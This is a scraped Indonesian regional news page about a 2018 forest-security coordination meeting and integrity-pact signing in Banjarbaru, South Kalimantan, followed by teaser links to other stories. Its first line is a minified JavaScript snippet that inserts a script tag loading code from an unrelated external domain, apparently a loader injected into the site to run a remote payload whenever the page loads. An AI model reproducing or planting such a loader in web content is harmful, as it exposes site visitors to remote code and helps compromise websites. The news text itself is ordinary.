(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Gubernur Kalimantan Selatan, H Sahbirin Noor melalui Asisten Perekonomian dan Pembangunan Setda Provinsi Kalimantan Selatan, Ir. Hermansyah, M.Si. membuka Rakor Pengamanan Hutan Tahun 2018 dan Penandatanganan Fakta Integritas Rehabilitasi DAS IPPKH, di Hotel Rodihta Banjarbaru (21/03). Kegiatan itu digelar masih serangkaian dengan Pelaksanaan Revolusi Hijau Provinsi Kalimantan Selatan Tahun 2018.
Peserta rakor yang hadir, antara lain, Kapolda Kalimantan Selatan, Komandan Korem 101 Antasari, Kapolres se- Kalimantan Selatan, Kepala UPT lingkup Kementerian Lingkungan Hidup dan Kehutanan, seluruh Kepala KPH lingkup Dinas Kehutanan Provinsi Kalimantan Selatan, Kepala UPT Tahura Sultan Adam, seluruh KRPH di wilayah Provinsi Kalimantan Selatan, serta seluruh pimpinan IPPHK (Ijin Pinjam Pakai Kawasan Hutan) Kalimantan Selatan.
Pada tahun 2018 ini, wujud peran serta seluruh pemegang IPPKH dalam mendukung program Revolusi Hijau Provinsi Kalsel dibuktikan dengan ditandatanganinya Fakta Integritas Rehabilitasi DAS antara Dinas Kehutanan Provinsi Kalimantan Selatan dan seluruh pemegang IPPKH di Kalimantan Selatan.
Di akhir sambutan, Gubernur Kalimantan Selatan berharap semua pihak dapat mempertahankan fungsi kelestarian kawasan hutan dengan cara, meningkatkan rehabilitasi hutan dan lahan serta penghijauan lingkungan melalui program revolusi hijau. Meningkatkan pemantapan kawasan hutan dalam rangka pengelolaan kawasan hutan lestari. Berikutnya, menurunkan gangguan keamanan hutan dan sumber daya hutan.
Rapat koordinasi pengamanan hutan yang dipimpin Kepala Bidang Perlindungan dan Konservasi Sumber Daya Alam dan Ekosistem, Lanang Budi Wibowo, S. Hut, MP kali ini juga menghasilkan beberapa poin penting.
Antara lain, memperhatikan bahwa permasalahan kehutanan yang terjadi saat ini masih adanya ketergantungan akan hasil hutan kayu yang menyebabkan pelanggaran di dalam kawasan hutan. Untuk mengatasi hal ini, perlu dilakukan upaya bersama pengamanan hutan di wilayah kerja Dinas Kehutanan Provinsi Kalimantan Selatan melalui kegiatan operasi pengamanan hutan fungsional maupun gabungan.
Operasi pengamanan hutan fungsional mulai dari tingkat tapak dalam hal ini adalah RPH yang tersebar di wilayah kerja Dinas Kehutanan Provinsi Kalimantan Selatan, diharapkan melalui kegiatan ini dapat mempertahankan fungsi kawasan hutan yang lestari di Bumi Kalimantan Selatan.(cel)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.